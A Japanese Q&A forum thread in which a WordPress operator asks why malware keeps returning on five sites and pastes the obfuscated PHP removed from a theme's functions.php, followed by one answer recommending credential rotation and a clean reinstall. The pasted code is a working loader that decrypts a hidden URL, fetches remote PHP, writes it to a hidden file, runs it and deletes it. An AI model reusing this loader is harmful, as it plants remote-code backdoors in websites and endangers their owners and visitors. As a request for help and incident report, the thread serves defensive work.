@keiity

Are you sure you want to delete the question?

If your question is resolved, you may close it.

Leaving a resolved question undeleted may help others!

We hope you find it useful!

WordPressのマルチウェア駆除(.bt)

解決したいこと

WordPressでのマルチウェア感染について

例)
WordPressでサイトを運営しています。
サイトの読み込みが重くなるほか、トップページにあるリンクをクリックすると変なサイトに飛ばされる現象が発生しています。
FTPでファイルの削除等を試みましたが、数日後には元に戻ってしまいます。
解決方法を教えて下さい。

埋め込まれたファイル

.bt (wp-admin/)
.bt (wp-admin/css/)
template-config.php (wp-content/themes/テーマ名/)
class-wp-http-netfilter.php (wp-includes/)

そのほか削除した見覚えのないコード

(wp-content/themes/テーマ名/functions.php)

@ini_set('display_errors', '0');
error_reporting(0);
global $zeeta;
if (!$npDcheckClassBgp && !isset($zeeta)) {

   $ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'default'; $pass = "Zgc5c4MXrK0ubQgN4pBWZv2dPRfXN70cmCWIX7HVoQ==";

if (!function_exists('get_data_ya')) {
    if (ini_get('allow_url_fopen')) {
        function get_data_ya($m) {
            $data = file_get_contents($m);
            return $data;
        }
    }
    else {
        function get_data_ya($m) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $m);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
    }
}

if (!function_exists('wp_cd')) {
        function wp_cd($fd, $fa="") {
            $fe = "wp_frmfunct";
            $len = strlen($fd);
            $ff = '';
            $n = $len>100 ? 8 : 2;
            while( strlen($ff)<$len ) { $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n); }
            return $fd^$ff;
       }
}


    $reqw = $ay($ao($oa("$pass"), 'wp_function'));
    preg_match('#gogo(.*)enen#is', $reqw, $mtchs);
    $dirs = glob("*", GLOB_ONLYDIR);
    foreach ($dirs as $dira) {
      if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; }
      $subdirs = glob("$dira/*", GLOB_ONLYDIR);
      foreach ($subdirs as $subdira) {
        if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; }
      }
    }
    if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); }
    fwrite($hdl, "<?php\n$mtchs[1]\n?>");
    fclose($hdl);
    include("{$eb}.$algo");
    unlink("{$eb}.$algo");
    $npDcheckClassBgp = 'aue';

    $zeeta = "yup";
    }

@include( 'template-config.php' );

以上の対応をしましたが、数日後には全て元通りになってしまいます。
同じサーバーで5サイト運営していますが、全てのサイトで同じ症状が発生しており困っています。
ご教授をお願いします。

0 likes

1Answer

全て元通りになってしまいます。

「何者かが侵入して元に戻してしまいます」の方が正しい気がします。。
まずは諸々のパスワードや秘密鍵を変えて様子見をするという手はありますが、それで攻撃が止まったからといって穴を塞げたという保証は何もありません。
(ただ手が緩むのを待っているだけかもしれません)
データをエクスポートして完全にクリーンな状態のWordPressに入れ直すのがベストかと思います。
ちょっとキツい言い方になってしまいますが、現状ですと攻撃者の片棒をかついでいるも同じなので、なるべく早く根本的な対応を取ることをお勧めします。

1Like

Your answer might help someone💌